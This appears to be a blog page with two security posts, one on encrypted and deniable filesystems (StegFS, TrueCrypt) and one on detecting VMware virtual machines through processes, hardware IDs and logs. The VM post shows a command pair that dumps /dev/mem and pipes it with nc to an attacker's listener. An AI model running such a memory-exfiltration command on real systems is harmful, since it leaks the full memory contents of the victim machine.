05 March 2012

Chryptographic filesystems


At this point it is redundant to explain the reasons for using cryptographic techniques. Throughout history we have seen many examples which are summarized in the premise that someone wants to keep secret something that another would like to know.

At the time that computers and mass storage devices began to be "transportable" came immediately the need to find mechanisms to protect the information contained in these devices on the road. Imagine the damage that a public agency or a large company could suffer if one of their employees have his work laptop stealt at a gas station or an airport. Therefore, it was needed to find an environment that ensured the confidentiality of the information of the portable devices in a comfortable way that do not penalize their use.

On the other hand, it exists the possibility that the owner of the data suffers pressure to decrypt the data with its key. Imagine if an employee who works on military bussines or a political dissident is tortured or interrogated to find out how to enter his laptop to get a nes future fighter blueprints or opinion pieces that could lead him to a firing squad. In such cases it is very useful that mechanisms exist to provide deniability of information. These mechanisms would help deciphering "lure" files of little importance or even outright false which would mislead the interrogators, who would have no way of knowing if that is the whole information encrypted or if instead there is more. 
To address these problems the military has been developing long ciphers able to protect data in case of mass storage devices fall into enemy hands.

At civil level, one of the earliest examples is found in the file system StegFS. This file system allows not only encrypt confidential data but apply steganographic methods that gives deniability of that information. StegFS development is stopped and is not currently recommended for use in modern infrastructure (in fact only supports kernels 2.2.x branch), however their website has several papers, highly recommended reading, explaining the theoretical of such mechanisms.

Another option, the other in constant development and has come to pick up the baton from the previous system, is TrueCrypt . This tool is cross-platform (runs on Windows, Mac and Linux) and allows you to create encrypted virtual disks that can be mounted as standard units of the system, performing the encryption-decryption in real time (on-the-fly), so that operation on encrypted files is completely transparent to the user. When removing these virtual disks TrueCrypt encrypts data in a single file so there is no way for an attacker to know how many encrypted files are inside the main one. For all this the user uses a password of his invention and one of the symmetric encryption algorithms offered by the tool, such as AES-256, Serpent or Twofish, among others.

The usefulness of this tool is obvious, since we can encrypt personal data that we have in our USB memory (for example, our certificate of the FNMT, lists of passwords, network maps or personal photos) or even an entire partition, including boot, as TrueCrypt allows for authentication during startup, so that if any steals the laptop will be virtually impossible to him to extract any information from the hard drive.

TrueCrypt provides two levels of deniability. To begin with: without the decryption key, encrypted TrueCrypt volumes are indistinguishable from any other type of binary data files. Files containing encrypted TrueCrypt volumes lack any type of signature that identifies them as such. This makes it easy to hide it by changing its extension such as. Iso,. Raw,. Img or what comes to mind ... to TrueCrypt will not be affected by extension because when mounting the volume Truecrypt accepts anyone. The second level of deniability corresponds to hidden volumes that consists in an encrypted volume inside another so that the user has two passwords: one that opens the main encrypted volume, which will have decoy files, and other that opens a secondary encripted volume (the one in the main) with the really important files. The TrueCrypt developers say there is no way to tell if an encrypted volume contains another hidden. 
Besides the above, Truecrypt is really easy to use by relying on a truly intuitive windows interface. To make things better the documentation of its website is very well organized and is very educational explaining in a clear and easily way the fundamentals of the functionality offered by the tool.

With this, there is no excuse for not wearing our data safely on our portable devices, completely safe from leaks because of theft or espionage.  

 

 

13 November 2011

Virtual Machine Detection

Virtualization has expanded strongly over recent years in the design of organizational systems, which is not surprising given the cost savings it offers, ease of scaling and fault tolerance. So much that now they are beginning to say that is better  for the backoffice to be based exclusively on virtualization solutions like those offered by VMware , Xen or VirtualBox, among others.However, these proposals tend to be based more on excitement from the marketing promises than on technical analysis in the cold.

Medium point is probably the most interesting and safe: continue to use physical machines to critical services and have virtualization support into play when a physical machine fails or as temporary support in case of saturation loading of a phisical farm. Another very interesting field of virtual machines is the test-lab during development work creating machines or cheating or honeypots . In any case, in my humble opinion, combining in one phisical machine virtualized servers from different levels of security is completely inadvisable given vulnerabilities are being discovered and bring into question the alleged isolation between the host machine and its virtual machines . In the event that such isolation is compromised, an attacker might try to jump from one level to another, avoiding the perimeter defenses or could compromise the machines hosted on the same virtualization platform.

Given these vulnerabilities begin to surface normal techniques to discover if a machine is or not part of a virtualization infrastructure. Discover that an intruder is in a virtual machine can be considered much more profitable to attack the phisical host machine than use the virtual machine as a bridge to the rest of the network. These techniques analyze the target machine in order to detect signs typical of a virtual machine. Such signs may be of different types: 


    • Issues in special processes, file systems and / or registration.
    • Issues in memory.
    • Virtual hardware.
    • Low-level instructions specific to virtual machines.

Throughout this article we will study each of these possible leads by the example of a VMware-based virtual machine, as the most widespread platform and to some extent, typical.

In the case of VMware, the process more easily detectable is VMtools . The VMtools are a pack of VMware's own tools, if installed in a virtual machine, increases graphics performance and establish a communication channel between the host and virtual machine so that you can use shared folders or drag -and-drop files. The problem is that all these features have a price and is posing a risk to the safety of the system to drive a wedge attack against the insulation between the host and the virtual machine. The fact is that the use of VMtools actives a service that is easily detectable in the table of virtual machine processes. Besides, a thorough analysis of the file system of a virtual machine shed more than 50 references to the words "vmware" and "vmx". The same can be said of the register (in the case of Windows) that would be "marked" with over 300 references to the word registration VMware.For all the above, VMtools should be avoided when possible just using them only after a proper risk analysis.

The second case, the memory footprint, is virtually impossible to avoid. If the virtual machine was Linux, an attacker could make a primary memory dump to analyze later in search of the word "vmware". This would not have to do more than the following:
attacker$ nc -l -p 2000 -o memory_dump_genesys 
victim$ sudo dd if=/dev/mem bs=100k | nc ip-atacante 2000
After downloading, dump analysis may be as simple as the following: 
attacker$ grep -ic vmware memory_dump_genesys
360
attacker$ grep -i vmware memory_dump_genesys 
<> 

The problem of this approach is its slownes as an attacker have to transmit the image from memory (several GB) through the network and the load on the attacked machine, which could alert administrators of intrusion.
Another option is to use specialized tools such as Scoopy, which can detect memory allocation patterns typical of virtualized machines.

As for the virtual hardware, the easiest case to detect the network card as it is unusual for the first 6 characters of the MAC point to the card manufacturer.On the Internet there are many search engines that allow to identify the ethernet card manufacturer based on its MAC. In the case of VMware virtual ethernet interfaces are marked with a MAC which is of type: 00:0 C: 29: xx: xx: xx.
Another case is that of hard disks becuse VMware enables virtualization of SCSI hard drives. A simple search on the boot logs alerts you that we have a virtual machine:

@ dante dante-desktop: ~ $ cat / var / log / messages | grep scsi
Mar 19 21:17:57 dante-desktop kernel: [83993.729650] scsi0: ata_piix
Mar 19 21:17:57 dante-desktop kernel: [83993.729955] scsi1: ata_piix
Mar 19 21:17:57 dante-desktop kernel: [83994.585470] scsi 1:0:0:0: CD-ROM PIONEER DVD-RW DVR-111D 1.23 PQ: 0 ANSI: 5
Mar 19 21:17:57 dante-desktop kernel: [83994.585847] scsi 1:0:1:0: CD-ROM IDE CDR11 VMware NECVMWar 1.00 PQ: 0 ANSI: 5
Mar 19 21:17:57 dante-desktop kernel: [83994.631853] sr0: scsi3-mmc drive: 40x/40x writer cd / rw cdda tray xa/form2
Mar 19 21:17:57 dante-desktop kernel: [83994.634815] sr1: scsi3-mmc drive: 1x/1x cdda tray xa/form2
Mar 19 21:17:57 dante-desktop kernel: [83994.648546] sr 1:0:0:0: Attached scsi generic sg0 type 5
Mar 19 21:17:57 dante-desktop kernel: [83994.648772] sr 1:0:1:0: Attached scsi generic sg1 type 5
Mar 19 21:17:57 dante-desktop kernel: [83994.931779] SCSI2: ioc0: LSI53C1030, FwRev = 01032920h, Ports = 1, MaxQ = 128, IRQ = 17
Mar 19 21:17:57 dante-desktop kernel: [83995.050997] scsi 2:0:0:0: Direct-Access VMware, VMware Virtual S 1.0 PQ: 0 ANSI: 2
Mar 19 21:17:57 dante-desktop kernel: [83995.063046] scsi 2:0:0:0: Attached scsi generic sg2 type 0
Mar 22 20:11:50 dante-desktop kernel: [88289.831746] scsi0: ata_piix
Mar 22 20:11:50 dante-desktop kernel: [88289.835558] scsi1: ata_piix
Mar 22 20:11:50 dante-desktop kernel: [88291.093663] scsi 1:0:0:0: CD-ROM PIONEER DVD-RW DVR-111D 1.23 PQ: 0 ANSI: 5
Mar 22 20:11:50 dante-desktop kernel: [88291.101227] scsi 1:0:1:0: CD-ROM IDE CDR11 VMware NECVMWar 1.00 PQ: 0 ANSI: 5
Mar 22 20:11:50 dante-desktop kernel: [88291.380171] SCSI2: ioc0: LSI53C1030, FwRev = 01032920h, Ports = 1, MaxQ = 128, IRQ = 16
Mar 22 20:11:50 dante-desktop kernel: [88291.504844] scsi 2:0:0:0: Direct-Access VMware, VMware Virtual S 1.0 PQ: 0 ANSI: 2
Mar 22 20:11:50 dante-desktop kernel: [88296.060604] sr0: scsi3-mmc drive: 40x/40x writer cd / rw cdda tray xa/form2
Mar 22 20:11:50 dante-desktop kernel: [88296.076810] sr1: scsi3-mmc drive: 1x/1x cdda tray xa/form2
Mar 22 20:11:50 dante-desktop kernel: [88296.159975] sr 1:0:0:0: Attached scsi generic sg0 type 5
Mar 22 20:11:50 dante-desktop kernel: [88296.160101] sr 1:0:1:0: Attached scsi generic sg1 type 5
Mar 22 20:11:50 dante-desktop kernel: [88296.160215] scsi 2:0:0:0: Attached scsi generic sg2 type 0

As if this were not clear enough, a simple call to command sdparm to confirm this point:

@ dante dante-desktop: ~ $ sudo sdparm-a / dev/sda1
/ Dev/sda1: VMware, VMware Virtual S 1.0 

In the end, we have proved that virtualization with VMware is not "anonymous". But there is still one lastl fireworks in that virtual hardware identification is concerned, it made hardware drivers identify the result is quite illuminating:

@ dante dante-desktop: ~ $ lspci-v
00:00.0 Host bridge: Intel Corporation 440BX/ZX/DX - 82443BX/ZX/DX Host bridge (rev 01)
Subsystem: VMware Inc virtualHW v3
Flags: bus master, medium devsel, latency 0

00:01.0 PCI bridge: Intel Corporation 440BX/ZX/DX - 82443BX/ZX/DX AGP bridge (rev 01) (prog-if 00 [Normal decode])
Flags: bus master, 66MHz, medium devsel, latency 0
Bus: primary = 00, secondary = 01, subordinate = 01, sec-latency = 64

00:07.0 ISA bridge: Intel Corporation PIIX4 ISA 82371AB/EB/MB (rev 08)
Subsystem: VMware Inc virtualHW v3
Flags: bus master, medium devsel, latency 0

00:07.1 IDE interface: Intel Corporation 82371AB/EB/MB PIIX4 IDE (rev 01) (prog-if the 8th [Master CCA Prip])
Subsystem: VMware Inc virtualHW v3
Flags: bus master, medium devsel, latency 64
[Virtual] Memory at 000001f0 (32-bit, non-prefetchable) [disabled] [size = 8]
[Virtual] Memory at 000003f0 (type 3, non-prefetchable) [disabled] [size = 1]
[Virtual] Memory at 00000170 (32-bit, non-prefetchable) [disabled] [size = 8]
[Virtual] Memory at 00000370 (type 3, non-prefetchable) [disabled] [size = 1]
I / O ports at 1050 [size = 16]

00:07.2 USB Controller: Intel Corporation 82371AB/EB/MB PIIX4 USB (prog-if 00 [UHCI])
Subsystem: VMware Inc virtualHW v3
Flags: bus master, medium devsel, latency 64, IRQ 18
I / O ports at 1060 [size = 32]

00:07.3 Bridge: Intel Corporation PIIX4 ACPI 82371AB/EB/MB (rev 08)
Subsystem: VMware Inc virtualHW v3
Flags: medium devsel, IRQ 9

00:0 f.0 VGA compatible controller: VMware Inc [VMware SVGA II] PCI Display Adapter (prog-if 00 [VGA])
Subsystem: VMware Inc [VMware SVGA II] PCI Display Adapter
Flags: bus master, medium devsel, latency 64
I / O ports at 1440 [size = 16]
Memory at F0000000 (32-bit, non-prefetchable) [size = 128M]
Memory at e8000000 (32-bit, non-prefetchable) [size = 8M]
[Virtual] Expansion ROM at 20010000 [disabled] [size = 32K]

00:10.0 SCSI storage controller: LSI Logic / Symbios Logic 53c1030 PCI-X Fusion-MPT Dual Ultra320 SCSI (rev 01)
Flags: bus master, medium devsel, latency 64, IRQ 16
I / O ports at 1080 [size = 128]
Memory at e8810000 (32-bit, non-prefetchable) [size = 4K]
[Virtual] Expansion ROM at 20018000 [disabled] [size = 16K]

00:11.0 Ethernet controller: Intel Corporation Gigabit Ethernet Controller 82545EM (Copper) (rev 01)
Subsystem: VMware Inc Unknown device 0750
Flags: bus master, 66MHz, medium devsel, latency 0, IRQ 17
Memory at e8820000 (64-bit, non-prefetchable) [size = 128K]
Memory at e8800000 (64-bit, non-prefetchable) [size = 64K]
I / O ports at 1450 [size = 8]
[Virtual] Expansion ROM at 20000000 [disabled] [size = 64K]
Capabilities: 

00:12.0 Multimedia audio controller: Ensoniq ES1371 [AudioPCI-97] (rev 02)
Subsystem: Ensoniq Creative Sound Blaster AudioPCI64V, AudioPCI128
Flags: bus master? devsel, latency 64, IRQ 18
I / O ports at 1400 [size = 64] 


Scoopy's creator, Tobias Klein, also developed a tool, called Doo , able to detect virtual machines based on analysis similar to the ones in this article.

Finally, we have to mention the low-level instructions specific to virtual machines.Virtualization solutions introduce these instructions in order to facilitate communication between the VM and host. Tools like VMDetect use these instructions to detect when a machine is actually virtualized. What they do is to call these instructions, if there is an exception we have a physical machine, if instead the instruction is then executed at a machine we before a virtual one.

All these detection vectors should warn against the alleged infallibility of virtualization they try to sell through commercial channels. It is true that virtualization can bring significant benefits to organizations, but only if it is deployed properly and prudently or, otherwise, may lead, as with all human works, to disaster.